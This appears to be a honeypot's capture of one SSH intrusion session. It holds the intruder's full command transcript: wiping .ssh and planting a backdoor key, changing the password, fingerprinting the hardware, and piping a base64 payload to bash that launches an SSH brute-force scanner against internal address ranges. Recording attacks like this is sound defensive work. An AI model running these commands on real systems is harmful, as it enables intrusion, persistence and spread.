Session
indigo-bronzed-grebe
Source
103.143.231.24
Protocol
ssh/exec
User
smart
Auth attempts
1
Commands
27
Transcript
3.2 K
Client
SSH-2.0-libssh_0.9.6
exec:
cd ~; chattr -ia .ssh; lockr -ia .sshCredentials attempted
| username | password | method | tier | result |
|---|---|---|---|---|
| smart | 1234 | password | other | accepted |
Samples captured
| name | size | via | sha256 |
|---|---|---|---|
| [inline-base64] recovered | 570B | inline-base64 | bc78174a72f733a834324d2d8b194c42f6deac2f72a9f6a4b8b0b1e32a5e72ee |
Transcript
02:37:13 $ cd ~; chattr -ia .ssh; lockr -ia .ssh 02:37:13 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ 02:37:17 $ cat /proc/cpuinfo | grep name | wc -l 8 02:37:17 $ echo -e "1234\nBQlRrj6rKOsl\nBQlRrj6rKOsl"|passwd|bash 02:37:18 $ echo "1234\nBQlRrj6rKOsl\nBQlRrj6rKOsl\n"|passwd 02:37:18 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' AMD EPYC 7713 64-Core Processor 02:37:18 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' 15888 2416 10351 116 2980 0 (708ms) 02:37:19 $ ls -lh $(which ls) -rwxr-xr-x 1 root root 147K Apr 23 2025 /usr/bin/ls (780ms) 02:37:20 $ crontab -l crontab -l 02:37:20 $ w 02:37:20 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 02:37:21 $ uname -m x86_64 02:37:21 $ cat /proc/cpuinfo | grep model | grep name | wc -l 8 02:37:21 $ top top - 02:37:21 up 2 days, 23:27, 0 user, load average: 0.15, 0.16, 0.13 Tasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie %Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st MiB Mem : 15888 total, 6672 free, 9215 used MiB Swap: 4095 total, 4095 free, 0 used PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node ^C 02:37:21 $ uname Linux 02:37:22 $ uname -a Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux 02:37:22 $ whoami smart 02:37:22 $ lscpu | grep Model Model name: AMD EPYC 7713 64-Core Processor Model name: AMD EPYC 7713 64-Core Processor (822ms) 02:37:23 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' 24G (405ms) 02:37:24 $ echo "smart 1234" > /tmp/up.txt 02:37:25 $ rm -rf /var/tmp/dota* 02:37:26 $ cat /var/tmp/.systemcache436621 BQlRrj6rKOsl (479ms) 02:37:26 $ cat /var/tmp/.systemcache436621 BQlRrj6rKOsl (527ms) 02:37:27 $ echo "1" > /var/tmp/.systemcache436621 02:37:27 $ cat /var/tmp/.systemcache436621 BQlRrj6rKOsl (657ms) 02:37:28 $ cat /var/tmp/.systemcache436621 BQlRrj6rKOsl (897ms) 02:37:29 $ sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw" | base64 --decode | bash 02:37:41 $ whoami smart